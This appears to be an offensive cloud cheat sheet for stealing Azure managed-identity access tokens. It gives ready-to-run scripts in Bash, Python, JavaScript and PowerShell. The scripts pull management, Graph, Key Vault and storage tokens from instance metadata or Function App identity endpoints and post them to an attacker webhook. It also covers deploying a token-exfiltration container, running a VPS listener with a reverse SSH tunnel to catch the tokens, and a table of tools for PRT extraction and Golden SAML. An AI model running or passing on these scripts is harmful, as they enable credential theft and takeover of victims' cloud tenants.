From a VM (IMDS - Multi-Resource, Multi-Identity)

#!/bin/bash
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13"
WEBHOOK="https://<YOUR-WEBHOOK>"

CLIENT_IDS=("id1" "id2" "id3")  # Enumerate via az identity list

for CID in "${CLIENT_IDS[@]}"; do
    MGT=$(curl -s -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/&client_id=$CID")
    GRAPH=$(curl -s -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/&client_id=$CID")
    VAULT=$(curl -s -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/&client_id=$CID")
    echo "{\"client_id\": \"$CID\", \"management\": $MGT, \"graph\": $GRAPH, \"vault\": $VAULT}"
done | jq -s '.' | curl -s -X POST -H "Content-Type: application/json" -d @- "$WEBHOOK"

From App Service / Function App (bash)

#!/bin/bash
WEBHOOK_URL="https://<YOUR-WEBHOOK>"
RESOURCES=("https://management.azure.com/" "https://graph.microsoft.com/" "https://vault.azure.net" "https://storage.azure.com")
OUTPUT_JSON="{}"

for R in "${RESOURCES[@]}"; do
    RESPONSE=$(curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
        "$IDENTITY_ENDPOINT?api-version=2019-08-01&resource=$R")
    TOKEN=$(echo "$RESPONSE" | jq -r '.access_token // .message')
    OUTPUT_JSON=$(echo "$OUTPUT_JSON" | jq --arg key "$R" --arg val "$TOKEN" '.[$key] = $val')
done

curl -s -X POST -H "Content-Type: application/json" -d "$OUTPUT_JSON" "$WEBHOOK_URL"

From Function App (Python)

import os, requests

webhook_url = "https://<YOUR-WEBHOOK>"
identity_endpoint = os.environ.get("IDENTITY_ENDPOINT")
identity_header   = os.environ.get("IDENTITY_HEADER")
resources = [
    "https://management.azure.com/",
    "https://graph.microsoft.com/",
    "https://vault.azure.net",
    "https://storage.azure.com"
]

session = requests.Session()
session.headers.update({"X-IDENTITY-HEADER": identity_header})
output_data = {}

for resource in resources:
    try:
        resp = session.get(identity_endpoint, params={"api-version": "2019-08-01", "resource": resource}, timeout=5)
        data = resp.json()
        output_data[resource] = data.get("access_token", data.get("message", "error"))
    except Exception as e:
        output_data[resource] = str(e)

requests.post(webhook_url, json=output_data, timeout=10)

From Function App (JavaScript v4)

const exfiltrate = async () => {
  const webhook = "<YOUR-WEBHOOK>";
  const endpoint = process.env.IDENTITY_ENDPOINT;
  const header = process.env.IDENTITY_HEADER;
  const resources = [
    "https://management.azure.com/",
    "https://graph.microsoft.com/",
    "https://vault.azure.net",
    "https://storage.azure.com",
  ];

  if (endpoint && header) {
    let results = { timestamp: new Date().toISOString() };
    for (const res of resources) {
      try {
        const url = `${endpoint}?api-version=2019-08-01&resource=${encodeURIComponent(res)}`;
        const resp = await fetch(url, {
          headers: { "X-IDENTITY-HEADER": header },
        });
        const data = await resp.json();
        results[res] = data.access_token || data.message;
      } catch (e) {
        results[res] = e.message;
      }
    }
    await fetch(webhook, {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify(results),
    });
  }
};

From Function App (PowerShell)

$webhookUrl = "https://<YOUR-WEBHOOK>"
$identityEndpoint = $env:IDENTITY_ENDPOINT
$identityHeader = $env:IDENTITY_HEADER
$resources = @("https://management.azure.com/","https://graph.microsoft.com/","https://vault.azure.net","https://storage.azure.com")
$outputData = @{ timestamp = (Get-Date).ToString("yyyy-MM-ddTHH:mm:ssZ") }

foreach ($r in $resources) {
    try {
        $response = Invoke-RestMethod `
          -Uri "$($identityEndpoint)?api-version=2019-08-01&resource=$($r)" `
          -Method Get -Headers @{ "X-IDENTITY-HEADER" = $identityHeader }
        $outputData[$r] = $response.access_token
    } catch { $outputData[$r] = $_.Exception.Message }
}

Invoke-RestMethod -Uri $webhookUrl -Method Post -Body ($outputData | ConvertTo-Json) -ContentType "application/json"

Docker Container Exfil

For App Services / Function Apps where you can swap the container:

# Set webhook first
az webapp config appsettings set --resource-group <RG> --name <app> --settings WEBHOOK_URL=<webhook>

# Deploy the exfil container
az webapp config container set --resource-group <RG> --name <app> \
  --docker-custom-image-name docker.io/jacobham/aztokenexfil:latest

Source: https://github.com/Jacob-Ham/aztokenexfil

Catch Tokens Locally (SSH Tunnel + Listener)

We really don’t wanna be sending tokens to webhooks.site or through ngrok, so we can just setup a tunnel to a VPS.

On your VPS - enable gateway ports:

sudo sed -i 's/GatewayPorts no/GatewayPorts yes/' /etc/ssh/sshd_config
sudo systemctl restart sshd

Start listener:

# python listener
python3 -c 'import socket; s=socket.socket(); s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1); s.bind(("", 8080)); s.listen(1); [ (print(conn.recv(4096).decode()), conn.send(b"HTTP/1.1 200 OK\r\n\r\n"), conn.close()) for conn, addr in iter(s.accept, 0) ]'

Tunnel from attacker machine:

ssh -o ServerAliveInterval=30 -R 8080:localhost:8080 root@<VPS-IP>

Then send tokens to the public IP and catch em.

Tools Reference


ToolPurpose
ROADtools / roadtxAuth, PRT ops, device join, FOCI switch
AADInternalsRecon, token ops, ADFS cert export, Golden SAML
GraphSpyGUI for token mgmt, phishing, data pillage, WHfB
GraphRunnerPowerShell token ops, CA policy dump, enumeration
MimikatzPRT + session key extraction from LSASS
FindMeAccessMFA gap discovery - finds working resource+client combos